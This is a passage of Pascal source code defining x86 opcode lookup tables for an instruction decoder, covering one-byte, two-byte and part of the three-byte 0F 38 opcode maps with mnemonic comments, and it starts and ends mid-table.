Decode_Escape_3_Byte}\n{ 65 = Decode_NA_F3_ModRm}\n{ 66 = Decode_66_ModRm}\n{ 67 = Decode_NA_66_F2_F3_ModRm_Ib}\n{ 68 = Decode_Group_12}\n{ 69 = Decode_Group_13}\n{ 70 = Decode_Group_14}\n{ 71 = Decode_66_F2_ModRm}\n{ 72 = Decode_NA_Jz_Df64}\n{ 73 = Decode_Group_15}\n{ 74 = Decode_F3_ModRm}\n{ 75 = Decode_Group_10_UD2}\n{ 76 = Decode_Group_8}\n{ 77 = Decode_NA_66_ModRm_Ib}\n{ 78 = Decode_Group_9}\n{ 79 = Decode_66_F2_F3_ModRm}\n{ 80 = Decode_F2_ModRm}\n{ 81 = Decode_SP_T38_F0_F7}\n{ 82 = Decode_66_ModRm_Ib}\n{ 83 = Decode_F2_ModRm_Ib}\n\n{============================================\n                  OneByteTable                    \n============================================}\nconst OneByteTable : array[Byte] of Byte =(//\n{0x00} 01, {ADD}\n{0x01} 01, {ADD}\n{0x02} 01, {ADD}\n{0x03} 01, {ADD}\n{0x04} 02, {ADD}\n{0x05} 03, {ADD}\n{0x06} 04, {PUSH}\n{0x07} 04, {POP}\n{0x08} 01, {OR}\n{0x09} 01, {OR}\n{0x0A} 01, {OR}\n{0x0B} 01, {OR}\n{0x0C} 02, {OR}\n{0x0D} 03, {OR}\n{0x0E} 04, {PUSH}\n{0x0F} 05, {Escape_2_Byte}\n{0x10} 01, {ADC}\n{0x11} 01, {ADC}\n{0x12} 01, {ADC}\n{0x13} 01, {ADC}\n{0x14} 02, {ADC}\n{0x15} 03, {ADC}\n{0x16} 04, {PUSH}\n{0x17} 04, {POP}\n{0x18} 01, {SBB}\n{0x19} 01, {SBB}\n{0x1A} 01, {SBB}\n{0x1B} 01, {SBB}\n{0x1C} 02, {SBB}\n{0x1D} 03, {SBB}\n{0x1E} 04, {PUSH}\n{0x1F} 04, {POP}\n{0x20} 01, {AND}\n{0x21} 01, {AND}\n{0x22} 01, {AND}\n{0x23} 01, {AND}\n{0x24} 02, {AND}\n{0x25} 03, {AND}\n{0x26} 06, {ES_Prefix}\n{0x27} 04, {DAA}\n{0x28} 01, {SUB}\n{0x29} 01, {SUB}\n{0x2A} 01, {SUB}\n{0x2B} 01, {SUB}\n{0x2C} 02, {SUB}\n{0x2D} 03, {SUB}\n{0x2E} 07, {CS_Prefix}\n{0x2F} 04, {DAS}\n{0x30} 01, {XOR}\n{0x31} 01, {XOR}\n{0x32} 01, {XOR}\n{0x33} 01, {XOR}\n{0x34} 02, {XOR}\n{0x35} 03, {XOR}\n{0x36} 08, {SS_Prefix}\n{0x37} 04, {AAA}\n{0x38} 01, {CMP}\n{0x39} 01, {CMP}\n{0x3A} 01, {CMP}\n{0x3B} 01, {CMP}\n{0x3C} 02, {CMP}\n{0x3D} 03, {CMP}\n{0x3E} 09, {DS_Prefix}\n{0x3F} 04, {AAS}\n{0x40} 10, {INC/REX_Prefix}\n{0x41} 10, {INC/REX_Prefix}\n{0x42} 10, {INC/REX_Prefix}\n{0x43} 10, {INC/REX_Prefix}\n{0x44} 10, {INC/REX_Prefix}\n{0x45} 10, {INC/REX_Prefix}\n{0x46} 10, {INC/REX_Prefix}\n{0x47} 10, {INC/REX_Prefix}\n{0x48} 10, {DEC/REX_Prefix}\n{0x49} 10, {DEC/REX_Prefix}\n{0x4A} 10, {DEC/REX_Prefix}\n{0x4B} 10, {DEC/REX_Prefix}\n{0x4C} 10, {DEC/REX_Prefix}\n{0x4D} 10, {DEC/REX_Prefix}\n{0x4E} 10, {DEC/REX_Prefix}\n{0x4F} 10, {DEC/REX_Prefix}\n{0x50} 11, {PUSH}\n{0x51} 11, {PUSH}\n{0x52} 11, {PUSH}\n{0x53} 11, {PUSH}\n{0x54} 11, {PUSH}\n{0x55} 11, {PUSH}\n{0x56} 11, {PUSH}\n{0x57} 11, {PUSH}\n{0x58} 11, {POP}\n{0x59} 11, {POP}\n{0x5A} 11, {POP}\n{0x5B} 11, {POP}\n{0x5C} 11, {POP}\n{0x5D} 11, {POP}\n{0x5E} 11, {POP}\n{0x5F} 11, {POP}\n{0x60} 04, {PUSHAD/PUSHA}\n{0x61} 04, {POPAD/POPA}\n{0x62} 12, {BOUND}\n{0x63} 01, {ARPL/MOVSXD}\n{0x64} 13, {FS_Prefix}\n{0x65} 14, {GS_Prefix}\n{0x66} 15, {OPSIZE_Prefix}\n{0x67} 16, {ADSIZE_Prefix}\n{0x68} 17, {PUSH}\n{0x69} 18, {IMUL}\n{0x6A} 19, {PUSH}\n{0x6B} 20, {IMUL}\n{0x6C} 21, {INS}\n{0x6D} 21, {INS}\n{0x6E} 21, {OUTS}\n{0x6F} 21, {OUTS}\n{0x70} 22, {JO}\n{0x71} 22, {JNO}\n{0x72} 22, {JB}\n{0x73} 22, {JNB}\n{0x74} 22, {JZ}\n{0x75} 22, {JNZ}\n{0x76} 22, {JBE}\n{0x77} 22, {JNBE}\n{0x78} 22, {JS}\n{0x79} 22, {JNS}\n{0x7A} 22, {JP}\n{0x7B} 22, {JNP}\n{0x7C} 22, {JL}\n{0x7D} 22, {JNL}\n{0x7E} 22, {JLE}\n{0x7F} 22, {JNLE}\n{0x80} 23, {group_1}\n{0x81} 23, {group_1}\n{0x82} 23, {group_1*}\n{0x83} 23, {group_1}\n{0x84} 01, {TEST}\n{0x85} 01, {TEST}\n{0x86} 01, {XCHG}\n{0x87} 01, {XCHG}\n{0x88} 01, {MOV}\n{0x89} 01, {MOV}\n{0x8A} 01, {MOV}\n{0x8B} 01, {MOV}\n{0x8C} 01, {MOV}\n{0x8D} 01, {LEA}\n{0x8E} 01, {MOV}\n{0x8F} 24, {group_1A}\n{0x90} 21, {PAUSE/NOP}\n{0x91} 21, {XCHG}\n{0x92} 21, {XCHG}\n{0x93} 21, {XCHG}\n{0x94} 21, {XCHG}\n{0x95} 21, {XCHG}\n{0x96} 21, {XCHG}\n{0x97} 21, {XCHG}\n{0x98} 21, {CWDE/CBW/CDQE}\n{0x99} 21, {CDQ/CWD/CQO}\n{0x9A} 25, {CALL}\n{0x9B} 21, {WAIT}\n{0x9C} 11, {PUSHF}\n{0x9D} 11, {POPF}\n{0x9E} 21, {SAHF}\n{0x9F} 21, {LAHF}\n{0xA0} 26, {MOV}\n{0xA1} 26, {MOV}\n{0xA2} 26, {MOV}\n{0xA3} 26, {MOV}\n{0xA4} 21, {MOVS}\n{0xA5} 21, {MOVS}\n{0xA6} 21, {CMPS}\n{0xA7} 21, {CMPS}\n{0xA8} 02, {TEST}\n{0xA9} 03, {TEST}\n{0xAA} 21, {STOS}\n{0xAB} 21, {STOS}\n{0xAC} 21, {LODS}\n{0xAD} 21, {LODS}\n{0xAE} 21, {SCAS}\n{0xAF} 21, {SCAS}\n{0xB0} 02, {MOV}\n{0xB1} 02, {MOV}\n{0xB2} 02, {MOV}\n{0xB3} 02, {MOV}\n{0xB4} 02, {MOV}\n{0xB5} 02, {MOV}\n{0xB6} 02, {MOV}\n{0xB7} 02, {MOV}\n{0xB8} 27, {MOV}\n{0xB9} 27, {MOV}\n{0xBA} 27, {MOV}\n{0xBB} 27, {MOV}\n{0xBC} 27, {MOV}\n{0xBD} 27, {MOV}\n{0xBE} 27, {MOV}\n{0xBF} 27, {MOV}\n{0xC0} 28, {group_2}\n{0xC1} 28, {group_2}\n{0xC2} 29, {RET}\n{0xC3} 30, {RET}\n{0xC4} 31, {LES/VEX3_Prefix}\n{0xC5} 32, {LDS/VEX2_Prefix}\n{0xC6} 33, {group_11}\n{0xC7} 33, {group_11}\n{0xC8} 34, {ENTER}\n{0xC9} 11, {LEAVE}\n{0xCA} 35, {RET}\n{0xCB} 36, {RET}\n{0xCC} 21, {INT3}\n{0xCD} 02, {INT}\n{0xCE} 04, {INTO}\n{0xCF} 36, {IRET}\n{0xD0} 28, {group_2}\n{0xD1} 28, {group_2}\n{0xD2} 28, {group_2}\n{0xD3} 28, {group_2}\n{0xD4} 37, {AAM}\n{0xD5} 37, {AAD}\n{0xD6} 04, {SETALC}\n{0xD7} 21, {XLAT}\n{0xD8} 38, {Escape_FPU_D8}\n{0xD9} 39, {Escape_FPU_D9}\n{0xDA} 40, {Escape_FPU_DA}\n{0xDB} 41, {Escape_FPU_DB}\n{0xDC} 42, {Escape_FPU_DC}\n{0xDD} 43, {Escape_FPU_DD}\n{0xDE} 44, {Escape_FPU_DE}\n{0xDF} 45, {Escape_FPU_DF}\n{0xE0} 22, {LOOPNZ/LOOPNE}\n{0xE1} 22, {LOOPZ/LOOPE}\n{0xE2} 22, {LOOP}\n{0xE3} 22, {JRCX/JECX/JCXZ}\n{0xE4} 02, {IN}\n{0xE5} 02, {IN}\n{0xE6} 02, {OUT}\n{0xE7} 02, {OUT}\n{0xE8} 46, {CALL}\n{0xE9} 47, {JMP}\n{0xEA} 48, {JMP}\n{0xEB} 49, {JMP}\n{0xEC} 21, {IN}\n{0xED} 21, {IN}\n{0xEE} 21, {OUT}\n{0xEF} 21, {OUT}\n{0xF0} 50, {LOCK_Prefix}\n{0xF1} 21, {INT1}\n{0xF2} 51, {REPNE_Prefix}\n{0xF3} 52, {REPE_Prefix}\n{0xF4} 21, {HLT}\n{0xF5} 21, {CMC}\n{0xF6} 53, {group_3}\n{0xF7} 53, {group_3}\n{0xF8} 21, {CLC}\n{0xF9} 21, {STC}\n{0xFA} 21, {CLI}\n{0xFB} 21, {STI}\n{0xFC} 21, {CLD}\n{0xFD} 21, {STD}\n{0xFE} 54, {group_4_INC_DEC}\n{0xFF} 55 {group_5_INC_DEC}\n);\n{============================================\n                  TwoByteTable                    \n============================================}\nconst TwoByteTable : array[Byte] of Byte =(//\n{0x00} 56, {group_6}\n{0x01} 57, {group_7}\n{0x02} 01, {LAR}\n{0x03} 01, {LSL}\n{0x04} 21, {LOADALL?/RESET?/HANG?}\n{0x05} 58, {LOADALL/SYSCALL}\n{0x06} 21, {CLTS}\n{0x07} 36, {LOADALL/SYSRET}\n{0x08} 21, {INVD}\n{0x09} 21, {WBINVD}\n{0x0A} 21, {CL1INVMB}\n{0x0B} 21, {UD1}\n{0x0C} 00, {InvalidOpCode}\n{0x0D} 21, {3DNow}\n{0x0E} 21, {3DNow}\n{0x0F} 21, {3DNow}\n{0x10} 59, {VMOVUPD/VMOVSD/VMOVSS/VMOVUPS}\n{0x11} 59, {VMOVUPD/VMOVSD/VMOVSS/VMOVUPS}\n{0x12} 59, {VMOVLPD/VMOVDDUP/VMOVSLDUP/VMOVLPS/VMOVHLPS}\n{0x13} 60, {InvalidOpCode/VMOVLPD/VMOVLPS}\n{0x14} 60, {InvalidOpCode/VUNPCKLPD/VUNPCKLPS}\n{0x15} 60, {InvalidOpCode/VUNPCKHPD/VUNPCKHPS}\n{0x16} 61, {InvalidOpCode/VMOVHPD/VMOVSHDUP/VMOVLHPS/VMOVHPS}\n{0x17} 60, {InvalidOpCode/VMOVHPD/VMOVHPS}\n{0x18} 62, {group_16}\n{0x19} 62, {group_16}\n{0x1A} 62, {group_16}\n{0x1B} 62, {group_16}\n{0x1C} 62, {group_16}\n{0x1D} 62, {group_16}\n{0x1E} 62, {group_16}\n{0x1F} 62, {group_16}\n{0x20} 63, {MOV}\n{0x21} 63, {MOV}\n{0x22} 63, {MOV}\n{0x23} 63, {MOV}\n{0x24} 63, {MOV}\n{0x25} 00, {InvalidOpCode}\n{0x26} 63, {MOV}\n{0x27} 00, {InvalidOpCode}\n{0x28} 60, {InvalidOpCode/VMOVAPD/VMOVAPS}\n{0x29} 60, {InvalidOpCode/VMOVAPD/VMOVAPS}\n{0x2A} 59, {VCVTSI2SD/CVTPI2PD/VCVTSI2SS/CVTPI2PS}\n{0x2B} 59, {MOVNTSD/MOVNTSS/VMOVNTPD/VMOVNTPS}\n{0x2C} 59, {CVTTPD2PI/VCVTTSD2SI/CVTTPS2PI/VCVTTSS2SI}\n{0x2D} 59, {CVTPD2PI/VCVTSD2SI/CVTPS2PI/VCVTSS2SI}\n{0x2E} 60, {InvalidOpCode/VUCOMISD/VUCOMISS}\n{0x2F} 60, {InvalidOpCode/VCOMISD/VCOMISS}\n{0x30} 21, {WRMSR}\n{0x31} 21, {RDTSC}\n{0x32} 21, {RDMSR}\n{0x33} 21, {RDPMC}\n{0x34} 21, {SYSENTER}\n{0x35} 21, {SYSEXIT}\n{0x36} 00, {InvalidOpCode}\n{0x37} 21, {GETSEC}\n{0x38} 64, {Escape_3_Byte}\n{0x39} 00, {InvalidOpCode}\n{0x3A} 64, {Escape_3_Byte}\n{0x3B} 00, {InvalidOpCode}\n{0x3C} 00, {InvalidOpCode}\n{0x3D} 00, {InvalidOpCode}\n{0x3E} 00, {InvalidOpCode}\n{0x3F} 00, {InvalidOpCode}\n{0x40} 01, {CMOVO}\n{0x41} 01, {CMOVNO}\n{0x42} 01, {CMOVB}\n{0x43} 01, {CMOVNB}\n{0x44} 01, {CMOVZ}\n{0x45} 01, {CMOVNZ}\n{0x46} 01, {CMOVBE}\n{0x47} 01, {CMOVNBE}\n{0x48} 01, {CMOVS}\n{0x49} 01, {CMOVNS}\n{0x4A} 01, {CMOVP}\n{0x4B} 01, {CMOVNP}\n{0x4C} 01, {CMOVL}\n{0x4D} 01, {CMOVNL}\n{0x4E} 01, {CMOVLE}\n{0x4F} 01, {CMOVNLE}\n{0x50} 60, {InvalidOpCode/VMOVMSKPD/VMOVMSKPS}\n{0x51} 59, {VSQRTPD/VSQRTSD/VSQRTSS/VSQRTPS}\n{0x52} 65, {InvalidOpCode/VRSQRTSS/VRSQRTPS}\n{0x53} 65, {InvalidOpCode/VRCPSS/VRCPPS}\n{0x54} 60, {InvalidOpCode/VANDPD/VANDPS}\n{0x55} 60, {InvalidOpCode/VANDNPD/VANDNPS}\n{0x56} 60, {InvalidOpCode/VORPD/VORPS}\n{0x57} 60, {InvalidOpCode/VXORPD/VXORPS}\n{0x58} 59, {VADDPD/VADDSD/VADDSS/VADDPS}\n{0x59} 59, {VMULPD/VMULSD/VMULSS/VMULPS}\n{0x5A} 59, {VCVTPD2PS/VCVTSD2SS/VCVTSS2SD/VCVTPS2PD}\n{0x5B} 61, {InvalidOpCode/VCVTPS2DQ/VCVTTPS2DQ/VCVTDQ2PS}\n{0x5C} 59, {VSUBPD/VSUBSD/VSUBSS/VSUBPS}\n{0x5D} 59, {VMINPD/VMINSD/VMINSS/VMINPS}\n{0x5E} 59, {VDIVPD/VDIVSD/VDIVSS/VDIVPS}\n{0x5F} 59, {VMAXPD/VMAXSD/VMAXSS/VMAXPS}\n{0x60} 60, {PUNPCKLBW/VPUNPCKLBW}\n{0x61} 60, {PUNPCKLWD/VPUNPCKLWD}\n{0x62} 60, {PUNPCKLDQ/VPUNPCKLDQ}\n{0x63} 60, {PACKSSWB/VPACKSSWB}\n{0x64} 60, {PCMPGTB/VPCMPGTB}\n{0x65} 60, {PCMPGTW/VPCMPGTW}\n{0x66} 60, {PCMPGTD/VPCMPGTD}\n{0x67} 60, {PACKUSWB/VPACKUSWB}\n{0x68} 60, {PUNPCKHBW/InvalidOpCode/VPUNPCKHBW}\n{0x69} 60, {PUNPCKHWD/InvalidOpCode/VPUNPCKHWD}\n{0x6A} 60, {PUNPCKHDQ/InvalidOpCode/VPUNPCKHDQ}\n{0x6B} 60, {PACKSSDW/InvalidOpCode/VPACKSSDW}\n{0x6C} 66, {InvalidOpCode/VPUNPCKLQDQ}\n{0x6D} 66, {InvalidOpCode/VPUNPCKHQDQ}\n{0x6E} 60, {MOVDQ/InvalidOpCode/VMOVDQ}\n{0x6F} 61, {MOVQ/InvalidOpCode/VMOVDQA/VMOVDQU}\n{0x70} 67, {VPSHUFD/VPSHUFLW/VPSHUFHW/PSHUFW}\n{0x71} 68, {group_12}\n{0x72} 69, {group_13}\n{0x73} 70, {group_14}\n{0x74} 60, {PCMPEQB/InvalidOpCode/VPCMPEQB}\n{0x75} 60, {PCMPEQW/InvalidOpCode/VPCMPEQW}\n{0x76} 60, {PCMPEQD/InvalidOpCode/VPCMPEQD}\n{0x77} 21, {EMMS/VZEROUPPER/VZEROALL/InvalidOpCode}\n{0x78} 01, {VMREAD/InvalidOpCode}\n{0x79} 01, {VMWRITE/InvalidOpCode}\n{0x7A} 21, {SSE5A/InvalidOpCode}\n{0x7B} 21, {SSE5A/InvalidOpCode}\n{0x7C} 71, {InvalidOpCode/VHADDPD/VHADDPS}\n{0x7D} 71, {InvalidOpCode/VHSUBPD/VHSUBPS}\n{0x7E} 61, {MOVDQ/InvalidOpCode/VMOVDQ/VMOVQ}\n{0x7F} 61, {MOVQ/InvalidOpCode/VMOVDQA/VMOVDQU}\n{0x80} 72, {JO}\n{0x81} 72, {JNO}\n{0x82} 72, {JB}\n{0x83} 72, {JNB}\n{0x84} 72, {JZ}\n{0x85} 72, {JNZ}\n{0x86} 72, {JBE}\n{0x87} 72, {JNBE}\n{0x88} 72, {JS}\n{0x89} 72, {JNS}\n{0x8A} 72, {JP}\n{0x8B} 72, {JNP}\n{0x8C} 72, {JL}\n{0x8D} 72, {JNL}\n{0x8E} 72, {JLE}\n{0x8F} 72, {JNLE}\n{0x90} 01, {SETO}\n{0x91} 01, {SETNO}\n{0x92} 01, {SETB}\n{0x93} 01, {SETNB}\n{0x94} 01, {SETZ}\n{0x95} 01, {SETNZ}\n{0x96} 01, {SETBE}\n{0x97} 01, {SETNBE}\n{0x98} 01, {SETS}\n{0x99} 01, {SETNS}\n{0x9A} 01, {SETP}\n{0x9B} 01, {SETNP}\n{0x9C} 01, {SETL}\n{0x9D} 01, {SETNL}\n{0x9E} 01, {SETLE}\n{0x9F} 01, {SETNLE}\n{0xA0} 11, {PUSH}\n{0xA1} 11, {POP}\n{0xA2} 21, {CPUID}\n{0xA3} 01, {BT}\n{0xA4} 20, {SHLD}\n{0xA5} 01, {SHLD}\n{0xA6} 00, {InvalidOpCode}\n{0xA7} 00, {InvalidOpCode}\n{0xA8} 11, {PUSH}\n{0xA9} 11, {POP}\n{0xAA} 21, {RSM}\n{0xAB} 01, {BTS}\n{0xAC} 20, {SHRD}\n{0xAD} 01, {SHRD}\n{0xAE} 73, {group_15}\n{0xAF} 01, {IMUL}\n{0xB0} 01, {CMPXCHG}\n{0xB1} 01, {CMPXCHG}\n{0xB2} 01, {LSS}\n{0xB3} 01, {BTR}\n{0xB4} 01, {LFS}\n{0xB5} 01, {LGS}\n{0xB6} 01, {MOVZX}\n{0xB7} 01, {MOVZX}\n{0xB8} 74, {POPCNT/InvalidOpCode}\n{0xB9} 75, {group_10_UD2/InvalidOpCode}\n{0xBA} 76, {group_8/InvalidOpCode}\n{0xBB} 01, {BTC/InvalidOpCode}\n{0xBC} 65, {BSF/TZCNT}\n{0xBD} 65, {BSR/LZCNT}\n{0xBE} 01, {MOVSX/InvalidOpCode}\n{0xBF} 01, {MOVSX/InvalidOpCode}\n{0xC0} 59, {XADD}\n{0xC1} 59, {XADD}\n{0xC2} 67, {VCMPccPD/VCMPccSD/VCMPccSS/VCMPccPS}\n{0xC3} 01, {InvalidOpCode/MOVNTI}\n{0xC4} 77, {InvalidOpCode/VPINSRW/PINSRW}\n{0xC5} 77, {InvalidOpCode/VPEXTRW/PEXTRW}\n{0xC6} 77, {InvalidOpCode/VSHUFPD/VSHUFPS}\n{0xC7} 78, {group_9}\n{0xC8} 21, {BSWAP}\n{0xC9} 21, {BSWAP}\n{0xCA} 21, {BSWAP}\n{0xCB} 21, {BSWAP}\n{0xCC} 21, {BSWAP}\n{0xCD} 21, {BSWAP}\n{0xCE} 21, {BSWAP}\n{0xCF} 21, {BSWAP}\n{0xD0} 71, {InvalidOpCode/VADDSUBPD/VADDSUBPS}\n{0xD1} 60, {PSRLW/InvalidOpCode/VPSRLW}\n{0xD2} 60, {PSRLD/InvalidOpCode/VPSRLD}\n{0xD3} 60, {PSRLQ/InvalidOpCode/VPSRLQ}\n{0xD4} 60, {InvalidOpCode/VPADDQ/PADDQ}\n{0xD5} 60, {PMULLW/InvalidOpCode/VPMULLW}\n{0xD6} 79, {InvalidOpCode/MOVDQ2Q/MOVQ2DQ/VMOVQ}\n{0xD7} 60, {InvalidOpCode/VPMOVMSKB/PMOVMSKB}\n{0xD8} 60, {PSUBUSB/VPSUBUSB}\n{0xD9} 60, {PSUBUSW/VPSUBUSW}\n{0xDA} 60, {VPMINUB/PMINUB}\n{0xDB} 60, {PAND/VPAND}\n{0xDC} 60, {PADDUSB/VPADDUSB}\n{0xDD} 60, {PADDUSW/VPADDUSW}\n{0xDE} 60, {VPMAXUB/PMAXUB}\n{0xDF} 60, {PANDN/VPANDN}\n{0xE0} 60, {InvalidOpCode/VPAVGB/PAVGB}\n{0xE1} 60, {PSRAW/InvalidOpCode/VPSRAW}\n{0xE2} 60, {PSRAD/InvalidOpCode/VPSRAD}\n{0xE3} 60, {InvalidOpCode/VPAVGW/PAVGW}\n{0xE4} 60, {InvalidOpCode/VPMULHUW/PMULHUW}\n{0xE5} 60, {PMULHW/InvalidOpCode/VPMULHW}\n{0xE6} 79, {InvalidOpCode/VCVTTPD2DQ/VCVTPD2DQ/VCVTDQ2PD}\n{0xE7} 60, {InvalidOpCode/VMOVNTDQ/MOVNTQ}\n{0xE8} 60, {PSUBSB/VPSUBSB}\n{0xE9} 60, {PSUBSW/VPSUBSW}\n{0xEA} 60, {VPMINSW/PMINSW}\n{0xEB} 60, {POR/VPOR}\n{0xEC} 60, {PADDSB/VPADDSB}\n{0xED} 60, {PADDSW/VPADDSW}\n{0xEE} 60, {VPMAXSW/PMAXSW}\n{0xEF} 60, {PXOR/VPXOR}\n{0xF0} 80, {InvalidOpCode/VLDDQU}\n{0xF1} 60, {PSLLW/InvalidOpCode/VPSLLW}\n{0xF2} 60, {PSLLD/InvalidOpCode/VPSLLD}\n{0xF3} 60, {PSLLQ/InvalidOpCode/VPSLLQ}\n{0xF4} 60, {InvalidOpCode/VPMULUDQ/PMULUDQ}\n{0xF5} 60, {PMADDWD/InvalidOpCode/VPMADDWD}\n{0xF6} 60, {InvalidOpCode/VPSADBW/PSADBW}\n{0xF7} 60, {InvalidOpCode/VMASKMOVDQU/MASKMOVQ}\n{0xF8} 60, {PSUBB/VPSUBB}\n{0xF9} 60, {PSUBW/VPSUBW}\n{0xFA} 60, {PSUBD/VPSUBD}\n{0xFB} 60, {VPSUBQ/PSUBQ}\n{0xFC} 60, {PADDB/VPADDB}\n{0xFD} 60, {PADDW/VPADDW}\n{0xFE} 60, {PADDD/VPADDD}\n{0xFF} 00 {InvalidOpCode}\n);\n{============================================\n                  ThreeByteTable38                    \n============================================}\nconst ThreeByteTable38 : array[Byte] of Byte =(//\n{0x00} 60, {VPSHUFB/PSHUFB}\n{0x01} 60, {VPHADDW/PHADDW}\n{0x02} 60, {VPHADDD/PHADDD}\n{0x03} 60, {VPHADDSW/PHADDSW}\n{0x04} 60, {VPMADDUBSW/PMADDUBSW}\n{0x05} 60, {VPHSUBW/PHSUBW}\n{0x06} 60, {VPHSUBD/PHSUBD}\n{0x07} 60, {VPHSUBSW/PHSUBSW}\n{0x08} 60, {VPSIGNB/PSIGNB}\n{0x09} 60, {VPSIGNW/PSIGNW}\n{0x0A} 60, {VPSIGND/PSIGND}\n{0x0B} 60, {VPMULHRSW/PMULHRSW}\n{0x0C} 66, {VPERMILPS/InvalidOpCode}\n{0x0D} 66, {VPERMILPD/InvalidOpCode}\n{0x0E} 66, {VTESTPS/InvalidOpCode}\n{0x0F} 66, {VTESTPD/InvalidOpCode}\n{0x10} 66, {InvalidOpCode/PBLENDVB}\n{0x11} 00, {InvalidOpCode}\n{0x12} 00, {InvalidOpCode}\n{0x13} 66, {VCVTPH2PS/InvalidOpCode}\n{0x14} 66, {InvalidOpCode/BLENDVPS}\n{0x15} 66, {InvalidOpCode/BLENDVPD}\n{0x16} 66, {VPERMPS/InvalidOpCode}\n{0x17} 66, {InvalidOpCode/VPTEST}\n{0x18} 66, {VBROADCASTSS/InvalidOpCode}\n{0x19} 66, {VBROADCASTSD/InvalidOpCode}\n{0x1A} 66, {VBROADCASTF128/InvalidOpCode}\n{0x1B} 00, {InvalidOpCode}\n{0x1C} 60, {VPABSB/PABSB}\n{0x1D} 60, {VPABSW/PABSW}\n{0x1E} 60, {VPABSD/PABSD}\n{0x1F} 00, {InvalidOpCode}\n{0x20} 66, {InvalidOpCode/VPMOVSXBW}\n{0x21} 66, {InvalidOpCode/VPMOVSXBD}\n{0x22} 66, {InvalidOpCode/VPMOVSXBQ}\n{0x23} 66, {InvalidOpCode/VPMOVSXWD}\n{0x24} 66, {InvalidOpCode/VPMOVSXWQ}\n{0x25} 66, {InvalidOpCode/VPMOVSXDQ}\n{0x26} 00, {InvalidOpCode}\n{0x27} 00, {InvalidOpCode}\n{0x28} 66, {InvalidOpCode/VPMULDQ}\n{0x29} 66, {InvalidOpCode/VPCMPEQQ}\n{0x2A} 66, {InvalidOpCode/VMOVNTDQA}\n{0x2B} 66, {InvalidOpCode/VPACKUSDW}\n{0x2C} 66, {VMASKMOVPS/InvalidOpCode}\n{0x2D} 66, {VMASKMOVPD/InvalidOpCode}\n{0x2E} 66, {VMASKMOVPS/InvalidOpCode}\n{0x2F} 66, {VMASKMOVPD/InvalidOpCode}\n{0x30} 66, {InvalidOpCode/VPMOVZXBW}\n{0x31} 66, {InvalidOpCode/VPMOVZXBD}\n{0x32} 66, {InvalidOpCode/VPMOVZXBQ}\n{0x33} 66, {InvalidOpCode/VPMOVZXWD}\n{0x34} 66, {InvalidOpCode/VPMOVZXWQ}\n{0x35} 66, {InvalidOpCode/VPMOVZXDQ}\n{0x36} 66, {VPERMD/InvalidOpCode}\n{0x37} 66, {InvalidOpCode/VPCMPGTQ}\n{0x38} 66, {InvalidOpCode/VPMINSB}\n{0x39} 66, {InvalidOpCode/VPMINSD}\n{0x3A} 66, {InvalidOpCode/VPMINUW}\n{0x3B} 66, {InvalidOpCode/VPMINUD}\n{0x3C} 66, {InvalidOpCode/VPMAXSB}\n{0x3D} 66, {InvalidOpCode/VPMAXSD}\n{0x3E} 66, {InvalidOpCode/VPMAXUW}\n{0x3F} 66, {InvalidOpCode/VPMAXUD}\n{0x40} 66, {InvalidOpCode/VPMULLD}\n{0x41} 66, {InvalidOpCode/VPHMINPOSUW}\n{0x42} 00, {InvalidOpCode}\n{0x43} 00, {InvalidOpCode}\n{0x44} 00, {InvalidOpCode}\n{0x45} 66, {VPSRLVQ/InvalidOpCode}\n{0x46} 66, {VPSRAVD/InvalidOpCode}\n{0x47} 66, {VPSLLVQ/VPSLLVD/InvalidOpCode}\n{0x48} 00, {InvalidOpCode}\n{0x49} 00, {InvalidOpCode}\n{0x4A} 00, {InvalidOpCode}\n{0x4B} 00, {InvalidOpCode}\n{0x4C} 00, {InvalidOpCode}\n{0x4D} 00, {InvalidOpCode}\n{0x4E} 00, {InvalidOpCode}\n{0x4F} 00, {InvalidOpCode}\n{0x50} 00, {InvalidOpCode}\n{0x51} 00, {InvalidOpCode}\n{0x52} 00, {InvalidOpCode}\n{0x53} 00, {InvalidOpCode}\n{0x54} 00, {InvalidOpCode}\n{0x55} 00, {InvalidOpCode}\n{0x56} 00, {InvalidOpCode}\n{0x57} 00, {InvalidOpCode}\n{0x58} 66, {VPBROADCASTD/InvalidOpCode}\n{0x59} 66, {VPBROADCASTQ/InvalidOpCode}\n{0x5A} 66, {VBROADCASTI128/InvalidOpCode}\n{0x5B} 00, {InvalidOpCode}\n{0x5C} 00, {InvalidOpCode}\n{0x5D} 00, {InvalidOpCode}\n{0x5E} 00, {InvalidOpCode}\n{0x5F} 00, {InvalidOpCode}\n{0x60} 00, {InvalidOpCode}\n{0x61} 00, {InvalidOpCode}\n{0x62} 00, {InvalidOpCode}\n{0x63} 00, {InvalidOpCode}\n{0x64} 00, {InvalidOpCode}\n{0x65} 00, {InvalidOpCode}\n{0x66} 00, {InvalidOpCode}\n{0x67} 00, {InvalidOpCode}\n{0x68} 00, {InvalidOpCode}\n{0x69} 00, {InvalidOpCode}\n{0x6A} 00, {InvalidOpCode}\n{0x6B} 00, {InvalidOpCode}\n{0x6C} 00, {InvalidOpCode}\n{0x6D} 00, {InvalidOpCode}\n{0x6E} 00, {InvalidOpCode}\n{0x6F} 00, {InvalidOpCode}\n{0x70} 00, {InvalidOpCode}\n{0x71} 00, {InvalidOpCode}\n{0x72} 00, {InvalidOpCode}\n{0x73} 00, {InvalidOpCode}\n{0x74} 00, {InvalidOpCode}\n{0x75} 00, {InvalidOpCode}\n{0x76} 00, {InvalidOpCode}\n{0x77} 00, {InvalidOpCode}\n{0x78} 66, {VPBROADCASTB/InvalidOpCode}\n{0x79} 66, {VPBROADCASTW/InvalidOpCode}\n{0x7A} 00, {InvalidOpCode}\n{0x7B} 00, {InvalidOpCode}\n{0x7C} 00, {InvalidOpCode}\n{0x7D} 00, {InvalidOpCode}\n{0x7E} 00, {InvalidOpCode}\n{0x7F} 00, {InvalidOpCode}\n{0x80} 66, {INVPCID}\n{0x81} 66, {INVVPID}\n{0x82} 66, {INVPCID}\n{0x83} 00, {InvalidOpCode}\n{0x84} 00, {InvalidOpCode}\n{0x85} 00, {InvalidOpCode}\n{0x86} 00, {InvalidOpCode}\n{0x87} 00, {InvalidOpCode}\n{0x88} 00, {InvalidOpCode}\n{0x89} 00, {InvalidOpCode}\n{0x8A} 00, {InvalidOpCode}\n{0x8B} 00, {InvalidOpCode}\n{0x8C} 66, {VPMASKMOVD/VPMASKMOVQ/InvalidOpCode}\n{0x8D} 00, {InvalidOpCode}\n{0x8E} 66, {VPMASKMOVD/VPMASKMOVQ/InvalidOpCode}\n{0x8F} 00, {InvalidOpCode}\n{0x90} 66, {VPGATHERDD/VPGATHERDQ}\n{0x91} 66, 